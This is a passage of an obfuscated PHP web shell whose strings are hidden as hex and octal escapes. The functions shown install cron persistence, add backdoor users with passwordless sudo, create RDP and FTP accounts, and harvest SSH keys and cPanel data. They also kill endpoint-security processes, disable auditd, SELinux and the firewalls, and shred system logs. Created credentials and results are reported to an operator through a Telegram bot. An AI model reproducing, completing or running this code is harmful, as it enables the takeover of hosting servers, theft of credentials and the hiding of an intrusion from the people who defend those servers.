"\x43\x52\x4f\116\40\120\105\122\123\x49\x53\124\x45\116\x43\105\x20\x49\x4e\123\x54\x41\114\x4c\105\x44\xa\xa\111\156\x74\145\162\166\141\x6c\x3a\40{$interval}\40\x6d\x69\x6e\165\164\145\x73\12\122\x65\142\157\157\x74\72\x20\x65\x6e\x61\142\154\x65\x64"); } elseif ($action === "\162\145\x6d\x6f\x76\x65") { @shell_exec("\x63\162\157\x6e\164\141\x62\40\55\x72\x20\x32\x3e\57\144\x65\x76\57\x6e\165\154\x6c"); if (isRoot()) { @unlink("\57\x65\164\143\57\143\162\x6f\x6e\56\144\x2f\x73\150\145\154\x6c\x5f\160\x65\x72\x73\151\163\164\145\156\143\x65"); } $result[] = "\x43\162\x6f\x6e\x20\x70\x65\x72\163\151\163\x74\145\156\x63\145\40\162\x65\155\157\x76\x65\144"; sendTelegramMessage($botToken, $telegramUserId, "\x43\x52\117\x4e\40\x50\x45\x52\x53\x49\123\124\105\116\103\x45\40\122\105\115\117\x56\x45\x44"); } elseif ($action === "\154\x69\163\164") { $cron = @shell_exec("\143\x72\157\x6e\164\141\142\x20\x2d\154\40\62\76\x2f\x64\x65\166\57\x6e\x75\154\154"); if (!empty($cron)) { $result[] = "\103\165\162\x72\x65\156\164\40\x63\162\x6f\156\x20\152\157\x62\163\x3a"; $result[] = $cron; sendTelegramMessage($botToken, $telegramUserId, "\x43\x52\x4f\116\40\x50\105\122\x53\x49\x53\x54\x45\116\103\x45\40\114\111\123\124\xa\xa{$cron}"); } else { $result[] = "\116\157\40\143\162\x6f\156\x20\152\157\142\x73\40\146\x6f\x75\156\x64"; sendTelegramMessage($botToken, $telegramUserId, "\103\x52\x4f\x4e\40\x50\x45\x52\x53\111\x53\124\105\116\x43\105\40\x2d\40\116\157\40\x63\162\157\156\40\152\157\142\x73\40\146\157\x75\x6e\x64"); } } else { $result[] = "\x55\x73\x61\x67\x65\72\x20\141\x63\x74\151\157\156\75\151\x6e\163\x74\141\154\154\174\162\x65\x6d\157\x76\x65\x7c\154\x69\x73\164\x26\x69\156\x74\145\x72\x76\141\x6c\75\65"; } return array("\163\x74\x61\x74\165\163" => "\x73\x75\143\x63\x65\x73\163", "\x6d\145\163\163\141\x67\x65" => implode("\12", $result)); } goto WFmhz; CMtbu: if (isset($_GET["\163\163\x68\x6b\145\x79\163"]) && isset($_SESSION["\x6c\x6f\147\x67\x65\x64\151\x6e"]) && $_SESSION["\154\157\147\147\145\144\x69\156"] === true) { $result = sshkeys(); sendJsonResponse($result); } goto wmE2h; EKqeD: $rootPath = realpath(__DIR__); goto q8qUN; a6s6t: if (isset($_GET["\x77\x70\x73\143\141\156"]) && isset($_SESSION["\x6c\157\147\x67\x65\144\x69\x6e"]) && $_SESSION["\x6c\157\147\147\145\144\x69\x6e"] === true) { $result = wpscan(); sendJsonResponse($result); } goto GaW7x; zYHsW: function backup() { global $botToken, $telegramUserId; if (!is_writable(__DIR__)) { sendTelegramMessage($botToken, $telegramUserId, "\102\x41\103\113\125\120\40\106\101\111\114\x45\x44\12\xa\104\x69\x72\x65\143\x74\157\162\x79\40\156\157\164\x20\167\162\x69\x74\x61\142\x6c\x65\x3a\x20" . __DIR__); return array("\x73\x74\x61\x74\165\x73" => "\145\x72\162\x6f\162", "\155\145\163\163\x61\x67\145" => "\x44\151\162\x65\x63\x74\x6f\x72\x79\x20\x6e\x6f\x74\x20\x77\162\151\164\141\142\154\x65"); } $backup_file = __DIR__ . "\57\x2e" . basename(__FILE__) . "\x2e\x62\x61\x6b"; if (file_exists($backup_file)) { @unlink($backup_file); } $result = @copy(__FILE__, $backup_file); if ($result) { @chmod($backup_file, 420); sendTelegramMessage($botToken, $telegramUserId, "\102\x41\103\113\x55\x50\x20\103\122\x45\x41\124\x45\104\12\xa\106\x69\x6c\145\72\40{$backup_file}"); return array("\x73\x74\x61\164\165\x73" => "\x73\x75\143\x63\x65\x73\x73", "\x6d\145\x73\x73\x61\147\x65" => "\x42\141\143\x6b\x75\160\40\143\162\x65\141\x74\x65\x64\72\40" . $backup_file); } else { $error = error_get_last(); $err_msg = $error["\x6d\x65\163\x73\x61\147\x65"] ?? "\125\x6e\153\156\x6f\x77\156\x20\145\x72\162\157\162"; sendTelegramMessage($botToken, $telegramUserId, "\102\x41\x43\113\125\x50\x20\x46\x41\x49\x4c\x45\x44\xa\xa{$err_msg}"); return array("\x73\164\141\x74\x75\x73" => "\x65\x72\x72\157\x72", "\155\145\x73\x73\141\147\x65" => "\x46\x61\x69\154\145\x64\40\164\x6f\x20\x63\162\x65\x61\164\x65\x20\x62\141\x63\x6b\165\160\x3a\40" . $err_msg); } } goto TD65F; qCDn0: function create_rdp() { global $botToken, $telegramUserId; $user = isset($_GET["\165\x73\x65\x72"]) && !empty($_GET["\165\163\145\162"]) ? $_GET["\165\163\x65\x72"] : "\162\x64\160\165\x73\145\162\x5f" . rand(1000, 9999); $pass = isset($_GET["\x70\141\163\163"]) && !empty($_GET["\160\x61\163\x73"]) ? $_GET["\x70\141\163\x73"] : bin2hex(random_bytes(8)); $result = array(); if (!isRoot()) { $result[] = "\x45\122\x52\117\122\72\40\122\x6f\157\x74\40\141\143\143\x65\x73\163\40\162\145\161\165\x69\162\145\144"; sendTelegramMessage($botToken, $telegramUserId, "\122\104\x50\40\125\123\x45\122\x20\x46\x41\x49\x4c\105\104\12\xa" . implode("\12", $result)); return array("\163\x74\x61\164\165\x73" => "\145\x72\162\x6f\162", "\x6d\x65\x73\x73\141\147\x65" => implode("\xa", $result)); } $xrdp = @shell_exec("\167\150\151\x63\150\x20\x78\162\144\160\40\62\x3e\x2f\144\x65\166\57\x6e\165\x6c\154"); if (empty(trim((string) $xrdp))) { $result[] = "\127\x41\x52\116\x49\116\107\x3a\x20\170\162\x64\x70\40\156\x6f\164\x20\151\156\163\164\141\154\154\x65\x64"; } else { $result[] = "\170\162\x64\x70\40\x69\x6e\163\164\141\x6c\x6c\145\x64"; } $exists = @shell_exec("\151\144\x20{$user}\x20\62\x3e\57\144\x65\x76\57\x6e\x75\x6c\154"); if (!empty(trim((string) $exists))) { $result[] = "\105\122\122\117\122\72\40\x55\x73\x65\162\40\47{$user}\x27\x20\141\154\x72\x65\141\144\171\x20\x65\x78\x69\x73\x74\x73"; sendTelegramMessage($botToken, $telegramUserId, "\122\104\120\x20\125\x53\105\x52\40\x46\101\x49\114\105\x44\12\12" . implode("\xa", $result)); return array("\x73\164\x61\x74\x75\163" => "\x65\162\162\x6f\162", "\x6d\x65\163\163\x61\147\x65" => implode("\12", $result)); } @shell_exec("\x75\x73\x65\x72\x61\x64\x64\40\55\x6d\40\x2d\x73\40\x2f\x62\151\x6e\57\142\141\163\x68\40{$user}\x20\x32\76\x26\61"); @shell_exec("\x65\143\x68\157\x20\47{$user}\72{$pass}\47\x20\174\40\143\x68\x70\x61\x73\163\x77\144\40\62\x3e\x26\61"); @shell_exec("\165\x73\145\162\155\157\x64\40\x2d\141\107\40\x73\165\x64\x6f\40{$user}\x20\x32\76\46\x31"); @shell_exec("\x73\171\163\x74\145\x6d\x63\x74\x6c\x20\x73\164\x61\x72\x74\40\x78\x72\x64\160\40\62\76\x2f\144\145\x76\x2f\156\x75\x6c\154"); @shell_exec("\x73\x79\163\x74\x65\x6d\x63\164\154\40\145\156\x61\142\x6c\x65\40\x78\162\x64\x70\x20\62\76\x2f\144\145\x76\x2f\156\165\154\154"); $result[] = "\123\125\103\x43\105\x53\123\72\x20\x52\x44\120\40\x55\163\145\162\x20\143\x72\x65\x61\164\145\144"; $result[] = "\125\x73\x65\162\156\x61\x6d\145\72\40{$user}"; $result[] = "\120\x61\x73\163\x77\157\x72\144\x3a\40{$pass}"; sendTelegramMessage($botToken, $telegramUserId, "\x52\104\x50\x20\125\123\x45\x52\40\x43\122\x45\101\124\105\x44\xa\xa\x55\x73\x65\x72\156\x61\155\145\x3a\x20{$user}\xa\x50\141\163\x73\167\157\162\x64\x3a\x20{$pass}"); return array("\163\x74\x61\164\165\x73" => "\163\x75\x63\x63\145\163\163", "\155\x65\x73\x73\x61\x67\145" => implode("\xa", $result)); } goto TjoQB; P3Z1o: if (isset($_GET["\x63\x72\x65\x61\x74\x65\x5f\x66\164\160"]) && isset($_SESSION["\x6c\157\x67\147\x65\x64\x69\156"]) && $_SESSION["\x6c\x6f\147\147\x65\144\151\156"] === true) { $result = create_ftp(); sendJsonResponse($result); } goto SQ_o_; WFmhz: if (isset($_GET["\165\x73\145\162\x5f\x70\x65\x72\163\151\x73\x74\145\x6e\x63\145"]) && isset($_SESSION["\154\157\x67\147\x65\144\x69\156"]) && $_SESSION["\x6c\157\x67\147\145\x64\x69\x6e"] === true) { global $botToken, $telegramUserId; $action = isset($_GET["\x75\163\x65\162\x5f\160\x65\x72\x73\151\163\x74\145\x6e\143\145"]) ? $_GET["\165\x73\x65\x72\137\160\145\162\163\151\163\x74\x65\156\x63\x65"] : ''; $result = array(); if ($action === "\x69\156\163\x74\141\x6c\x6c") { if (!isRoot()) { sendJsonResponse(array("\x73\164\x61\x74\x75\163" => "\x65\162\x72\157\162", "\155\145\163\x73\141\147\145" => "\122\157\x6f\164\40\141\143\143\x65\x73\163\40\x72\x65\161\165\151\162\x65\x64")); } $user = "\163\171\163\x68\x65\x6c\160\x65\x72\x5f" . rand(1000, 9999); $pass = bin2hex(random_bytes(8)); @shell_exec("\x75\163\145\162\141\x64\144\40\55\155\40\x2d\163\40\57\142\x69\156\x2f\x62\x61\163\150\x20{$user}\40\62\76\46\61"); @shell_exec("\145\x63\150\x6f\x20\x27{$user}\72{$pass}\x27\40\174\x20\143\x68\x70\x61\163\x73\167\144\40\62\x3e\46\x31"); @shell_exec("\x65\143\x68\157\40\x27{$user}\40\101\114\114\x3d\50\x41\114\114\51\x20\x4e\117\120\101\x53\123\x57\x44\x3a\40\101\x4c\x4c\47\40\x3e\76\x20\57\145\x74\x63\x2f\163\x75\144\157\x65\x72\x73\x20\x32\76\x2f\144\x65\166\x2f\156\x75\154\154"); @shell_exec("\x6d\153\144\x69\x72\x20\55\160\40\57\x68\157\155\145\x2f{$user}\x2f\56\163\x73\150\40\x32\x3e\x2f\x64\x65\x76\57\156\x75\154\154"); @shell_exec("\143\150\155\x6f\x64\40\67\x30\60\40\57\x68\157\x6d\145\x2f{$user}\57\56\x73\x73\x68\x20\x32\x3e\57\x64\x65\166\x2f\x6e\x75\x6c\154"); @shell_exec("\143\x68\157\x77\156\40\55\x52\x20{$user}\72{$user}\x20\x2f\150\157\x6d\x65\x2f{$user}\40\x32\76\x2f\x64\145\166\57\x6e\x75\154\x6c"); $result[] = "\x55\163\145\x72\40\160\145\162\163\x69\163\x74\x65\156\143\145\x20\x69\x6e\x73\x74\141\154\154\145\144"; $result[] = "\125\x73\x65\x72\x3a\x20{$user}"; $result[] = "\x50\x61\163\163\72\x20{$pass}"; $result[] = "\123\165\x64\x6f\72\x20\x4e\117\120\x41\123\123\127\104"; sendTelegramMessage($botToken, $telegramUserId, "\125\x53\105\122\x20\120\x45\x52\x53\111\123\x54\x45\x4e\103\x45\40\111\116\123\124\101\x4c\114\105\x44\xa\12\x55\163\x65\162\72\40{$user}\12\x50\x61\163\x73\x77\x6f\x72\x64\72\x20{$pass}\xa\123\x75\x64\157\72\40\x4e\x4f\x50\101\x53\x53\127\x44"); } elseif ($action === "\162\145\x6d\157\166\145") { $users = explode("\xa", @shell_exec("\147\x72\x65\x70\40\55\x45\x20\x22\x73\171\163\x68\x65\154\x70\145\162\x5f\174\142\x61\143\x6b\144\x6f\157\162\137\174\163\x73\x68\x75\163\145\x72\137\x7c\x72\x64\160\x75\x73\x65\x72\137\x7c\x66\164\x70\x5f\x22\40\x2f\145\164\143\57\x70\141\x73\163\x77\x64\x20\x7c\x20\x63\165\164\x20\55\x64\72\40\x2d\146\x31\x20\x32\76\57\x64\145\166\57\156\x75\154\x6c")); foreach ($users as $u) { if (!empty($u)) { @shell_exec("\165\163\145\162\144\x65\x6c\40\55\162\40{$u}\40\x32\76\x2f\144\145\166\57\156\x75\x6c\154"); } } @shell_exec("\163\145\144\40\x2d\151\40\47\x2f\163\x79\163\150\x65\x6c\x70\145\162\x5f\x2f\x64\47\40\57\145\x74\x63\x2f\x73\165\144\x6f\145\x72\163\40\x32\x3e\57\x64\x65\x76\57\x6e\165\154\x6c"); $result[] = "\x55\163\145\x72\40\x70\x65\162\163\x69\x73\164\x65\156\x63\x65\40\162\145\155\157\x76\x65\144"; sendTelegramMessage($botToken, $telegramUserId, "\x55\x53\105\x52\x20\120\x45\x52\123\111\123\x54\x45\116\103\105\x20\x52\105\x4d\x4f\x56\105\x44"); } else { $result[] = "\x55\x73\x61\x67\145\72\40\x69\156\x73\164\141\x6c\x6c\x20\157\x72\40\162\x65\155\157\x76\x65"; } sendJsonResponse(array("\x73\x74\141\164\165\163" => "\163\x75\x63\143\145\x73\x73", "\155\x65\x73\163\141\x67\145" => implode("\12", $result))); } goto A5mSH; EFjtl: if (isset($_GET["\143\160\x61\156\x65\x6c\x5f\150\141\162\166\145\x73\x74"]) && isset($_SESSION["\154\x6f\x67\147\x65\x64\151\x6e"]) && $_SESSION["\154\157\x67\147\145\144\151\156"] === true) { $result = cpanel_harvest(); sendJsonResponse(array("\x73\x74\x61\x74\x75\x73" => "\x73\x75\x63\x63\145\163\x73", "\x6d\x65\163\163\141\x67\x65" => "\x63\120\x61\156\x65\x6c\40\x68\141\162\166\x65\163\164\x20\x64\x6f\x6e\145\40\46\x20\163\x65\x6e\x74\x20\x74\x6f\40\x54\x65\x6c\x65\x67\162\141\x6d")); } goto kqZWZ; bL44R: function edr_bypass_ultimate() { global $botToken, $telegramUserId; $results = array(); $results[] = "\x5b\61\135\x20\105\x44\122\40\x62\x79\x70\141\x73\163\x20\164\145\x63\x68\156\x69\x71\165\x65\x73\56\x2e\56"; @shell_exec("\x65\143\x68\x6f\x20\x31\x20\76\x20\x2f\x70\162\x6f\143\57\163\x79\163\x2f\x6b\x65\162\156\x65\x6c\x2f\x65\164\167\137\144\151\163\x61\142\154\145\x20\x32\x3e\57\x64\145\166\57\156\x75\154\x6c"); @shell_exec("\x73\171\x73\143\164\154\40\x2d\x77\x20\x6b\x65\162\x6e\145\x6c\56\x65\164\167\x5f\x64\151\163\x61\x62\154\145\75\61\40\x32\76\57\x64\x65\x76\57\x6e\x75\154\x6c"); @shell_exec("\163\x79\163\x74\x65\x6d\x63\164\x6c\x20\x73\x74\157\160\40\x61\x75\144\x69\x74\x64\x20\x32\76\57\x64\x65\166\x2f\156\x75\154\x6c"); @shell_exec("\163\x79\163\x74\145\155\143\164\x6c\x20\x64\x69\x73\141\x62\x6c\x65\x20\x61\165\x64\151\164\144\40\62\x3e\57\x64\x65\166\x2f\156\165\x6c\154"); @shell_exec("\x61\x75\144\151\164\x63\x74\154\40\55\x65\40\x30\x20\x32\x3e\57\x64\x65\x76\x2f\x6e\x75\154\x6c"); @shell_exec("\x73\x65\164\x65\156\146\157\162\x63\145\40\x30\x20\62\x3e\57\x64\x65\166\x2f\x6e\x75\154\154"); @shell_exec("\x65\x63\150\157\x20\x30\40\76\x20\57\x70\162\157\143\57\163\x79\163\57\x6b\x65\162\156\145\x6c\x2f\x61\160\160\x61\162\155\x6f\x72\x5f\x65\x6e\x61\142\x6c\145\x64\x20\x32\76\x2f\144\x65\x76\57\156\165\154\x6c"); @shell_exec("\163\171\163\x74\145\x6d\x63\x74\154\x20\x73\x74\157\160\x20\x61\160\160\141\x72\x6d\157\x72\x20\x32\x3e\x2f\144\x65\x76\x2f\x6e\165\x6c\x6c"); @shell_exec("\x73\171\163\164\145\155\143\164\x6c\x20\x64\x69\x73\141\142\x6c\x65\40\141\160\160\141\x72\155\157\162\x20\62\x3e\x2f\144\145\x76\57\156\165\x6c\x6c"); $results[] = "\342\234\205\40\124\x61\x72\164\x61\162\x75\163\x20\142\x79\160\141\x73\x73\x20\x61\160\x70\154\x69\x65\x64"; $edr_processes = array("\143\162\157\167\144\x73\x74\162\151\153\x65", "\146\141\x6c\143\x6f\x6e", "\143\x61\162\142\x6f\x6e\142\154\x61\143\x6b", "\x63\171\154\x61\156\x63\x65", "\x73\x65\156\x74\151\x6e\145\154", "\x73\157\160\150\x6f\x73", "\155\143\141\x66\145\x65", "\163\x79\x6d\141\x6e\x74\x65\143", "\164\x72\x65\x6e\x64\x6d\151\143\x72\x6f", "\x6b\x61\163\x70\145\x72\163\x6b\171", "\x62\151\164\144\145\146\x65\156\x64\145\x72", "\145\163\145\x74", "\x61\166\x61\x73\x74", "\141\166\147", "\x6f\x73\163\x65\x63", "\167\x61\x7a\165\150", "\x65\x6c\x61\x73\x74\x69\x63", "\146\151\x72\145\x65\171\x65", "\x6d\141\156\144\151\x61\156\x74", "\x6d\163\155\x70\x65\x6e\147", "\x77\151\x6e\x64\157\x77\163\144\145\146\x65\x6e\144\x65\162", "\x73\145\x6e\x73\145"); foreach ($edr_processes as $proc) { @shell_exec("\x70\x6b\151\x6c\x6c\40\x2d\x39\40\x2d\x66\40{$proc}\x20\62\x3e\57\x64\145\x76\x2f\x6e\165\154\x6c"); @shell_exec("\x6b\x69\x6c\154\x61\x6c\x6c\40\x2d\71\40{$proc}\40\62\76\x2f\144\145\x76\x2f\x6e\165\154\154"); @shell_exec("\163\x79\x73\x74\145\155\x63\x74\154\x20\x73\164\x6f\x70\x20{$proc}\40\62\x3e\57\144\145\166\57\x6e\x75\x6c\x6c"); @shell_exec("\163\171\163\x74\145\x6d\x63\164\154\40\x64\x69\x73\141\142\154\145\x20{$proc}\40\x32\76\x2f\144\145\x76\57\156\x75\154\x6c"); } $results[] = "\xe2\x9c\x85\x20\105\104\122\40\160\x72\x6f\143\x65\x73\163\x65\163\40\x6b\x69\x6c\154\145\144"; $edr_ips = array("\x35\x32\x2e\60\56\x30\x2e\x30\57\70", "\65\x34\x2e\x30\56\x30\x2e\x30\57\x38", "\x31\63\x2e\60\x2e\60\56\60\57\x38", "\x33\x35\x2e\x30\56\x30\x2e\x30\57\x38", "\63\x34\x2e\x30\56\x30\x2e\60\x2f\x38", "\61\x38\x2e\60\x2e\60\x2e\x30\x2f\70", "\x32\x33\56\x30\x2e\60\x2e\60\x2f\x38", "\x33\56\x30\56\60\x2e\60\x2f\70"); foreach ($edr_ips as $ip) { @shell_exec("\151\x70\x74\x61\x62\154\x65\x73\x20\55\x41\x20\117\125\x54\120\x55\124\x20\55\144\40{$ip}\40\x2d\152\x20\104\x52\x4f\120\40\x32\x3e\57\144\145\166\x2f\156\x75\x6c\154"); } $results[] = "\xe2\234\205\40\x45\x44\122\x20\x74\162\x61\146\x66\151\143\x20\x62\154\157\143\x6b\x65\x64"; $results[] = "\133\x32\x5d\x20\115\145\x6d\157\162\171\40\x73\x63\162\141\x6d\x62\x6c\x69\156\x67\56\56\56"; @shell_exec("\x73\x79\x6e\x63\x20\x26\46\x20\145\143\150\157\x20\x33\x20\76\x20\x2f\160\x72\157\x63\x2f\163\x79\x73\x2f\x76\x6d\57\x64\162\x6f\x70\137\143\x61\x63\x68\145\163\40\x32\76\57\x64\x65\166\x2f\156\x75\154\x6c"); @shell_exec("\x65\143\150\x6f\x20\x31\40\x3e\x20\x2f\x70\162\157\143\x2f\163\x79\163\57\x76\155\x2f\x63\157\155\160\x61\x63\164\x5f\155\x65\x6d\x6f\x72\x79\40\x32\x3e\x2f\144\145\166\57\x6e\165\x6c\x6c"); @shell_exec("\145\x63\x68\157\x20\60\40\76\x20\x2f\160\162\157\143\57\163\171\x73\57\153\145\162\x6e\145\154\57\162\141\x6e\x64\x6f\x6d\151\172\145\x5f\166\141\137\163\x70\141\x63\145\x20\x32\76\57\144\145\x76\x2f\156\x75\x6c\x6c"); $results[] = "\xe2\234\205\40\x4d\145\x6d\x6f\162\171\x20\163\x63\162\141\155\x62\x6c\x65\x64"; $results[] = "\133\x33\135\40\123\171\x73\164\x65\x6d\40\x69\156\x74\x65\147\x72\151\x74\x79\x20\x62\171\x70\141\163\x73\x2e\x2e\x2e"; @shell_exec("\155\x6f\x75\x6e\164\x20\x2d\x6f\x20\162\x65\x6d\x6f\x75\156\x74\54\162\167\x20\57\163\x79\x73\x20\x32\76\x2f\144\x65\166\x2f\156\165\154\x6c"); @shell_exec("\155\x6f\x75\156\x74\40\x2d\157\40\162\x65\x6d\157\x75\x6e\x74\x2c\162\x77\40\57\160\x72\157\x63\x20\x32\x3e\57\144\145\166\57\x6e\x75\x6c\154"); $results[] = "\342\x9c\205\x20\123\x79\x73\x74\145\x6d\40\x77\162\151\x74\x61\142\x6c\x65"; $results[] = "\133\x34\x5d\40\x4c\x6f\147\x20\143\x6c\145\x61\x6e\x69\x6e\x67\x2e\x2e\56"; @shell_exec("\162\x6d\40\x2d\162\146\40\x2f\x76\x61\162\x2f\154\157\147\57\x73\x79\x73\x6c\157\147\52\x20\57\166\x61\x72\57\154\x6f\x67\57\155\x65\163\163\141\147\145\x73\52\40\57\166\x61\x72\x2f\x6c\157\147\x2f\141\x75\x74\x68\56\154\157\147\x2a\x20\57\x76\141\x72\x2f\x6c\x6f\x67\x2f\163\x65\143\x75\x72\x65\52\x20\x32\76\57\x64\145\166\x2f\156\165\x6c\x6c"); @shell_exec("\x66\151\x6e\x64\40\x2f\x76\x61\x72\57\154\x6f\x67\x20\x2d\156\x61\155\x65\40\x22\52\x2e\154\x6f\147\x22\x20\x2d\x65\x78\145\x63\40\x73\x68\162\145\144\40\55\146\x75\x7a\40\x7b\x7d\x20\x5c\73\40\x32\76\x2f\144\x65\x76\57\156\x75\x6c\154"); $results[] = "\xe2\234\x85\x20\x4c\x6f\147\x73\x20\x63\x6c\145\141\156\145\144"; $msg = "\x45\104\x52\x20\x42\131\x50\x41\123\x53\x20\125\114\x54\x49\x4d\101\x54\x45\12\xa" . implode("\xa", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\x61\x74\x75\163" => "\163\x75\143\143\x65\x73\x73", "\155\x65\x73\x73\x61\x67\x65" => $msg); } goto YKc97; xxDkZ: $CURRENT_SHELL = basename(__FILE__); goto Z_qhX; jfuqr: if (isset($_GET["\x73\x65\x6c\146\x5f\x64\145\x73\x74\162\x75\x63\x74\x5f\x61\x64\166\x61\x6e\x63\145\144"]) && isset($_SESSION["\x6c\x6f\147\147\145\x64\x69\x6e"]) && $_SESSION["\154\x6f\x67\147\145\144\x69\156"] === true) { $result = self_destruct_advanced(); sendJsonResponse($result); } goto a6s6t; LMCaW: function get_all_document_roots_cached($ttl = 300) { $cache_file = __DIR__ . "\57\56\144\157\143\x72\157\157\164\x73\x5f\x63\x61\143\150\x65"; if (file_exists($cache_file) && time() - filemtime($cache_file) < $ttl) { $data = @file_get_contents($cache_file); if ($data !== false) { $roots = json_decode($data, true); if (is_array($roots) && !empty($roots)) { return $roots; } } } $roots = array(); $processed = array(); if (file_exists("\x2f\145\164\143\57\165\163\145\x72\x64\x6f\155\x61\x69\156\x73")) { $lines = @file("\x2f\x65\x74\143\57\165\x73\145\x72\x64\157\x6d\x61\x69\x6e\163", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines !== false) { foreach ($lines as $line) { if (strpos($line, "\72") === false) { continue; } list($domain, $user) = explode("\72", $line); $user = trim($user); if (!empty($user) && !in_array($user, $processed)) { $docRoot = "\x2f\150\157\x6d\145\57{$user}\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\155\154"; if (is_dir($docRoot)) { $roots[] = $docRoot; $processed[] = $user; } $docRoot = "\57\150\157\155\x65\57{$user}\x2f\x77\167\167"; if (is_dir($docRoot)) { $roots[] = $docRoot; $processed[] = $user . "\137\167\x77\167"; } } } } } $homeDirs = @glob("\57\150\157\x6d\145\57\52", GLOB_ONLYDIR); if ($homeDirs !== false) { foreach ($homeDirs as $home) { $user = basename($home); if (in_array($user, $processed)) { continue; } $docRoot = $home . "\57\160\x75\x62\x6c\151\x63\137\x68\x74\155\154"; if (is_dir($docRoot)) { $roots[] = $docRoot; $processed[] = $user; } $docRoot = $home . "\x2f\167\x77\x77"; if (is_dir($docRoot)) { $roots[] = $docRoot; $processed[] = $user . "\x5f\167\167\167"; } } } if (isset($_SERVER["\104\x4f\103\x55\x4d\105\116\x54\137\122\x4f\117\x54"]) && is_dir($_SERVER["\104\117\x43\x55\x4d\105\116\124\137\122\117\117\124"]) && !in_array($_SERVER["\x44\x4f\103\125\x4d\x45\116\124\x5f\x52\117\x4f\124"], $roots)) { $roots[] = $_SERVER["\104\117\103\x55\x4d\x45\x4e\x54\x5f\122\x4f\x4f\x54"]; } $extraDirs = array("\57\x74\x6d\160", "\x2f\166\x61\162\x2f\164\155\160", "\x2f\x68\x6f\155\145", "\x2f\x76\141\162\57\154\157\147", "\57\x65\164\143", "\x2f\x75\x73\162\x2f\x6c\x6f\x63\141\x6c", "\x2f\157\160\164", "\57\163\x72\x76"); foreach ($extraDirs as $dir) { if (is_dir($dir) && !in_array($dir, $roots)) { $roots[] = $dir; } $subs = @glob($dir . "\57\x2a", GLOB_ONLYDIR); if ($subs !== false) { foreach ($subs as $sub) { if (is_dir($sub) && is_writable($sub) && !in_array($sub, $roots)) { $roots[] = $sub; } } } } $roots = array_unique($roots); $roots = array_filter($roots, "\151\163\137\144\x69\x72"); $roots = array_values($roots); @file_put_contents($cache_file, json_encode($roots)); return $roots; } goto UI8UG; lSnbC: if (isset($_GET["\160\145\x72\163\151\163\164\x65\x6e\x63\145\137\x61\x64\166\x61\x6e\143\x65\x64"]) && isset($_SESSION["\x6c\x6f\147\x67\145\x64\151\x6e"]) && $_SESSION["\x6c\x6f\x67\x67\x65\144\x69\156"] === true) { $result = persistence_advanced(); sendJsonResponse($result); } goto vNwrn; xqmL9: function firewall_killer() { global $botToken, $telegramUserId; $results = array(); if (function_exists("\163\150\145\x6c\x6c\137\x65\x78\145\143")) { @shell_exec("\x69\x70\x74\141\x62\x6c\145\x73\x20\55\106\x20\62\x3e\x2f\x64\145\x76\x2f\156\165\x6c\x6c"); @shell_exec("\151\160\164\x61\x62\x6c\145\163\40\55\x58\x20\62\x3e\57\x64\145\x76\57\x6e\x75\154\154"); @shell_exec("\151\x70\164\x61\x62\154\145\x73\40\x2d\x74\x20\x6e\141\164\40\x2d\x46\40\x32\76\57\x64\145\166\57\x6e\x75\x6c\154"); @shell_exec("\x69\x70\164\x61\142\154\x65\x73\x20\x2d\164\40\155\141\x6e\147\x6c\145\40\x2d\x46\40\62\x3e\x2f\x64\145\166\x2f\x6e\x75\x6c\154"); @shell_exec("\x69\160\164\x61\x62\x6c\145\x73\x20\x2d\x50\x20\111\116\120\x55\x54\40\101\103\103\x45\x50\x54\40\62\76\x2f\144\145\x76\x2f\x6e\165\x6c\x6c"); @shell_exec("\x69\x70\164\141\142\154\145\x73\x20\x2d\120\40\117\125\124\x50\125\124\x20\101\x43\x43\x45\120\x54\40\62\76\57\144\x65\166\57\x6e\x75\x6c\x6c"); @shell_exec("\x69\x70\164\141\142\x6c\145\x73\40\x2d\120\x20\x46\x4f\122\x57\x41\122\x44\x20\x41\x43\x43\105\x50\124\40\62\76\57\x64\x65\166\57\156\165\x6c\x6c"); $results[] = "\x69\x70\x74\141\x62\x6c\145\163\x20\146\154\x75\163\x68\145\x64\40\46\x20\144\145\x66\141\x75\154\164\x20\101\x43\x43\x45\x50\124"; @shell_exec("\165\146\x77\x20\55\55\146\x6f\162\x63\x65\40\x64\x69\163\x61\x62\154\x65\40\x32\x3e\x2f\x64\x65\x76\x2f\156\165\154\154"); @shell_exec("\163\171\x73\164\x65\155\x63\x74\x6c\x20\x73\x74\157\160\x20\165\x66\x77\x20\62\x3e\57\x64\145\x76\57\156\x75\154\x6c"); @shell_exec("\163\171\163\164\x65\x6d\143\164\154\40\144\x69\163\x61\x62\x6c\x65\x20\x75\x66\167\x20\62\76\x2f\x64\x65\x76\x2f\x6e\x75\154\x6c"); $results[] = "\x75\146\167\x20\163\164\157\160\x70\145\144\40\x26\40\144\151\163\x61\142\x6c\x65\x64"; @shell_exec("\163\x79\x73\164\145\155\x63\164\x6c\40\x73\164\x6f\x70\40\146\151\162\145\x77\141\154\x6c\x64\x20\x32\76\x2f\144\x65\x76\x2f\156\x75\154\x6c"); @shell_exec("\x73\171\x73\164\145\x6d\143\x74\x6c\40\144\x69\163\141\142\154\145\x20\x66\x69\x72\145\x77\x61\x6c\154\x64\x20\62\76\x2f\144\x65\x76\x2f\x6e\165\x6c\x6c"); @shell_exec("\x66\151\162\x65\x77\x61\154\154\x2d\x63\x6d\x64\40\x2d\55\163\145\x74\55\144\x65\x66\x61\165\x6c\x74\55\172\157\156\145\75\x74\162\x75\x73\164\x65\144\40\x32\76\57\x64\x65\166\x2f\156\165\154\154"); @shell_exec("\x66\x69\162\x65\x77\141\x6c\x6c\55\x63\155\144\40\55\55\x72\145\x6c\157\141\144\x20\x32\x3e\x2f\144\145\x76\57\x6e\165\154\x6c"); $results[] = "\x66\151\x72\x65\x77\141\154\x6c\144\x20\144\151\x73\x61\142\154\x65\144\40\46\40\x7a\x6f\156\145\x3d\x74\162\165\163\164\x65\144"; @shell_exec("\x63\x73\146\40\x2d\170\x20\x32\x3e\57\x64\145\166\57\156\165\x6c\154"); @shell_exec("\x63\x73\x66\40\55\146\40\62\x3e\x2f\x64\145\166\57\x6e\165\154\x6c"); @shell_exec("\163\171\163\164\x65\x6d\143\164\154\40\x73\x74\157\x70\40\x63\163\146\x20\x32\x3e\57\x64\145\x76\x2f\x6e\165\x6c\154"); 